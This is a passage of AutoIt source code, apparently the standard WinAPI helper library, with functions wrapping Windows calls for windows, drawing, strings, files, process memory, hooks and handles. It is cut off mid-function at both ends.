"GetSystemMetrics", "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_gettextextentpoint32($hdc, $stext) Local $tsize = DllStructCreate($tagsize) Local $isize = StringLen($stext) DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize) If @error Then Return SetError(@error, @extended, 0) Return $tsize EndFunc Func _winapi_gettextmetrics($hdc) Local $ttextmetric = DllStructCreate($tagtextmetric) Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric) If @error Then Return SetError(@error, @extended, 0) If NOT $ret[0] Then Return SetError(-1, 0, 0) Return $ttextmetric EndFunc Func _winapi_getwindow($hwnd, $icmd) Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowdc($hwnd) Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowheight($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top") EndFunc Func _winapi_getwindowlong($hwnd, $iindex) Local $sfuncname = "GetWindowLongW" If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowplacement($hwnd) Local $twindowplacement = DllStructCreate($tagwindowplacement) DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement)) DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement) If @error Then Return SetError(@error, @extended, 0) Return $twindowplacement EndFunc Func _winapi_getwindowrect($hwnd) Local $trect = DllStructCreate($tagrect) DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect) If @error Then Return SetError(@error, @extended, 0) Return $trect EndFunc Func _winapi_getwindowrgn($hwnd, $hrgn) Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_getwindowtext($hwnd) Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid) Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) $ipid = $aresult[2] Return $aresult[0] EndFunc Func _winapi_getwindowwidth($hwnd) Local $trect = _winapi_getwindowrect($hwnd) If @error Then Return SetError(@error, @extended, 0) Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left") EndFunc Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy) $ix = DllStructGetData($tpoint, "X") $iy = DllStructGetData($tpoint, "Y") EndFunc Func _winapi_globalmemorystatus() Local $tmem = DllStructCreate($tagmemorystatuS.E.X) Local $imem = DllStructGetSize($tmem) DllStructSetData($tmem, 1, $imem) DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $tmem) If @error Then Return SetError(@error, @extended, 0) Local $amem[7] $amem[0] = DllStructGetData($tmem, 2) $amem[1] = DllStructGetData($tmem, 3) $amem[2] = DllStructGetData($tmem, 4) $amem[3] = DllStructGetData($tmem, 5) $amem[4] = DllStructGetData($tmem, 6) $amem[5] = DllStructGetData($tmem, 7) $amem[6] = DllStructGetData($tmem, 8) Return $amem EndFunc Func _winapi_guidfromstring($sguid) Local $tguid = DllStructCreate($tagguid) _winapi_guidfromstringex($sguid, $tguid) If @error Then Return SetError(@error, @extended, 0) Return $tguid EndFunc Func _winapi_guidfromstringex($sguid, $pguid) Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_hiword($ilong) Return BitShift($ilong, 16) EndFunc Func _winapi_inprocess($hwnd, ByRef $hlastwnd) If $hwnd = $hlastwnd Then Return True For $ii = $__gainprocess_winapi[0][0] To 1 Step -1 If $hwnd = $__gainprocess_winapi[$ii][0] Then If $__gainprocess_winapi[$ii][1] Then $hlastwnd = $hwnd Return True Else Return False EndIf EndIf Next Local $iprocessid _winapi_getwindowthreadprocessid($hwnd, $iprocessid) Local $icount = $__gainprocess_winapi[0][0] + 1 If $icount >= 64 Then $icount = 1 $__gainprocess_winapi[0][0] = $icount $__gainprocess_winapi[$icount][0] = $hwnd $__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID) Return $__gainprocess_winapi[$icount][1] EndFunc Func _winapi_inttofloat($iint) Local $tint = DllStructCreate("int") Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint)) DllStructSetData($tint, 1, $iint) Return DllStructGetData($tfloat, 1) EndFunc Func _winapi_isclassname($hwnd, $sclassname) Local $sseparator = Opt("GUIDataSeparatorChar") Local $aclassname = StringSplit($sclassname, $sseparator) If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd) Local $sclasscheck = _winapi_getclassname($hwnd) For $x = 1 To UBound($aclassname) - 1 If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True Next Return False EndFunc Func _winapi_iswindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_iswindowvisible($hwnd) Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True) Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $ferase) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_lineto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loadbitmap($hinstance, $sbitmap) Local $sbitmaptype = "int" If IsString($sbitmap) Then $sbitmaptype = "wstr" Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload) Local $aresult, $simagetype = "int" If IsString($simage) Then $simagetype = "wstr" $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibrary($sfilename) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadlibraryex($sfilename, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_loadshell32icon($iiconid) Local $ticons = DllStructCreate("ptr Data") Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1) If @error Then Return SetError(@error, @extended, 0) If $iicons <= 0 Then Return SetError(1, 0, 0) Return DllStructGetData($ticons, "Data") EndFunc Func _winapi_loadstring($hinstance, $istringid) Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[3]) EndFunc Func _winapi_localfree($hmem) Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_loword($ilong) Return BitAND($ilong, 65535) EndFunc Func _winapi_makelangid($lgidprimary, $lgidsub) Return BitOR(BitShift($lgidsub, -10), $lgidprimary) EndFunc Func _winapi_makelcid($lgid, $srtid) Return BitOR(BitShift($srtid, -16), $lgid) EndFunc Func _winapi_makelong($ilo, $ihi) Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535)) EndFunc Func _winapi_makeqword($lodword, $hidword) Local $tint64 = DllStructCreate("uint64") Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)) DllStructSetData($tdwords, 1, $lodword) DllStructSetData($tdwords, 2, $hidword) Return DllStructGetData($tint64, 1) EndFunc Func _winapi_messagebeep($itype = 1) Local $isound Switch $itype Case 1 $isound = 0 Case 2 $isound = 16 Case 3 $isound = 32 Case 4 $isound = 48 Case 5 $isound = 64 Case Else $isound = -1 EndSwitch Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_msgbox($iflags, $stitle, $stext) BlockInput(0) MsgBox($iflags, $stitle, $stext & " ") EndFunc Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0) DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo) If @error Then Return SetError(@error, @extended) EndFunc Func _winapi_moveto($hdc, $ix, $iy) Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True) Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_muldiv($inumber, $inumerator, $idenominator) Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False) Local $stexttype = "str" If NOT IsString($stext) Then $stexttype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0) If @error Then Return SetError(@error, @extended, 0) Local $iout = $aresult[0] Local $tout = DllStructCreate("wchar[" & $iout & "]") $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout) If @error Then Return SetError(@error, @extended, 0) If $bretstring Then Return DllStructGetData($tout, 1) Return $tout EndFunc Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0) Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False) Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return $aresult[0] If NOT $fdebugpriv Then Return 0 Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query)) If @error Then Return SetError(@error, @extended, 0) _security__setprivilege($htoken, "SeDebugPrivilege", True) Local $ierror = @error Local $ilasterror = @extended Local $iret = 0 If NOT @error Then $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid) $ierror = @error $ilasterror = @extended If $aresult[0] Then $iret = $aresult[0] _security__setprivilege($htoken, "SeDebugPrivilege", False) If @error Then $ierror = @error $ilasterror = @extended EndIf EndIf _winapi_closehandle($htoken) Return SetError($ierror, $ilasterror, $iret) EndFunc Func __winapi_parsefiledialogpath($spath) Local $afiles[3] $afiles[0] = 2 Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1) $afiles[1] = $stemp $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1) Return $afiles EndFunc Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelimiter = @LF) Local $iextracount = 0 If IsString($aextrapaths) Then If StringLen($aextrapaths) Then $aextrapaths = StringSplit($aextrapaths, $szpathdelimiter, 1 + 2) $iextracount = UBound($aextrapaths, 1) EndIf ElseIf IsArray($aextrapaths) Then $iextracount = UBound($aextrapaths) EndIf Local $tpaths, $tpathptrs If $iextracount Then Local $szstruct = "" For $path In $aextrapaths $szstruct &= "wchar[" & StringLen($path) + 1 & "];" Next $tpaths = DllStructCreate($szstruct) $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]") For $i = 1 To $iextracount DllStructSetData($tpaths, $i, $aextrapaths[$i - 1]) DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i) Next DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1) EndIf Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $szfile, "struct*", $tpathptrs) If @error Then Return SetError(@error, @extended, False) If $aresult[0] = 0 Then Return SetError(1, 0, $szfile) Return $aresult[1] EndFunc Func _winapi_pointfromrect(ByRef $trect, $fcenter = True) Local $ix1 = DllStructGetData($trect, "Left") Local $iy1 = DllStructGetData($trect, "Top") Local $ix2 = DllStructGetData($trect, "Right") Local $iy2 = DllStructGetData($trect, "Bottom") If $fcenter Then $ix1 = $ix1 + (($ix2 - $ix1) / 2) $iy1 = $iy1 + (($iy2 - $iy1) / 2) EndIf Local $tpoint = DllStructCreate($tagpoint) DllStructSetData($tpoint, "X", $ix1) DllStructSetData($tpoint, "Y", $iy1) Return $tpoint EndFunc Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam) Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_primarylangid($lgid) Return BitAND($lgid, 1023) EndFunc Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint) If @error Then Return SetError(1, @extended, False) Return NOT ($aresult[0] = 0) EndFunc Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[4] Return $aresult[0] EndFunc Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread) Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0) If @error Then Return SetError(@error, @extended, False) $iread = $aresult[5] Return $aresult[0] EndFunc Func _winapi_rectisempty(ByRef $trect) Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0) EndFunc Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5) Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_registerwindowmessage($smessage) Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_releasecapture() Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture") If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_releasedc($hwnd, $hdc) Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_screentoclient($hwnd, ByRef $tpoint) Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_selectobject($hdc, $hgdiobj) Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setbkcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setbkmode($hdc, $ibkmode) Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcapture($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setcursor($hcursor) Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setdefaultprinter($sprinter) Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0) Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setendoffile($hfile) Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setevent($hevent) Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0) Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setfocus($hwnd) Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setfont($hwnd, $hfont, $fredraw = True) _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd") EndFunc Func _winapi_sethandleinformation($hobject, $imask, $iflags) Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False) If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3 If NOT $iscolorref Then $i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1)) EndIf Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setparent($hwndchild, $hwndparent) Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setprocessaffinitymask($hprocess, $imask) Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setsyscolors($velements, $vcolors) Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors) Local $ielementnum If NOT $iscarray AND NOT $isearray Then $ielementnum = 1 ElseIf $iscarray OR $isearray Then If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False) If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False) $ielementnum = UBound($velements) EndIf Local $telements = DllStructCreate("int Element[" & $ielementnum & "]") Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]") If NOT $isearray Then DllStructSetData($telements, "Element", $velements, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($telements, "Element", $velements[$x], $x + 1) Next EndIf If NOT $iscarray Then DllStructSetData($tcolors, "NewColor", $vcolors, 1) Else For $x = 0 To $ielementnum - 1 DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1) Next EndIf Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_settextcolor($hdc, $icolor) Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_setwindowlong($hwnd, $iindex, $ivalue) _winapi_setlasterror(0) Local $sfuncname = "SetWindowLongW" If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW" Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowplacement($hwnd, $pwindowplacement) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags) Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True) Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0) Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_setwindowtext($hwnd, $stext) Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_showcursor($fshow) Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_showerror($stext, $fexit = True) _winapi_msgbox(266256, "Error", $stext) If $fexit Then Exit EndFunc Func _winapi_showmsg($stext) _winapi_msgbox(64 + 4096, "Information", $stext) EndFunc Func _winapi_showwindow($hwnd, $icmdshow = 5) Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_stringfromguid($pguid) Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40) If @error Then Return SetError(@error, @extended, "") Return SetExtended($aresult[0], $aresult[2]) EndFunc Func _winapi_stringlena($vstring) Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring) If @error Then Return SetError(1, @extended, 0) Return $acall[0] EndFunc Func _winapi_stringlenw($vstring) Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring) If @error Then Return SetError(1, @extended, 0) Return $acall[0] EndFunc Func _winapi_sublangid($lgid) Return BitShift($lgid, 10) EndFunc Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0) Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_twipsperpixelx() Local $lngdc, $twipsperpixelx $lngdc = _winapi_getdc(0) $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx) _winapi_releasedc(0, $lngdc) Return $twipsperpixelx EndFunc Func _winapi_twipsperpixely() Local $lngdc, $twipsperpixely $lngdc = _winapi_getdc(0) $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy) _winapi_releasedc(0, $lngdc) Return $twipsperpixely EndFunc Func _winapi_unhookwindowshookex($hhk) Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags) Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_updatewindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitforinputidle($hprocess, $itimeout = -1) Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_waitforsingleobject($hhandle, $itimeout = -1) Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True) Local $sunicodetype = "wstr" If NOT IsString($punicode) Then $sunicodetype = "struct*" Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]") $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, "") If $bretstring Then Return DllStructGetData($tmultibyte, 1) Return $tmultibyte EndFunc Func _winapi_windowfrompoint(ByRef $tpoint) Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint) If @error Then Return SetError(1, @extended, 0) Return $aresult[0] EndFunc Func _winapi_writeconsole($hconsole, $stext) Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0) Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped) If @error Then Return SetError(@error, @extended, False) $iwritten = $aresult[4] Return $aresult[0] EndFunc Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr") Local $aresult = 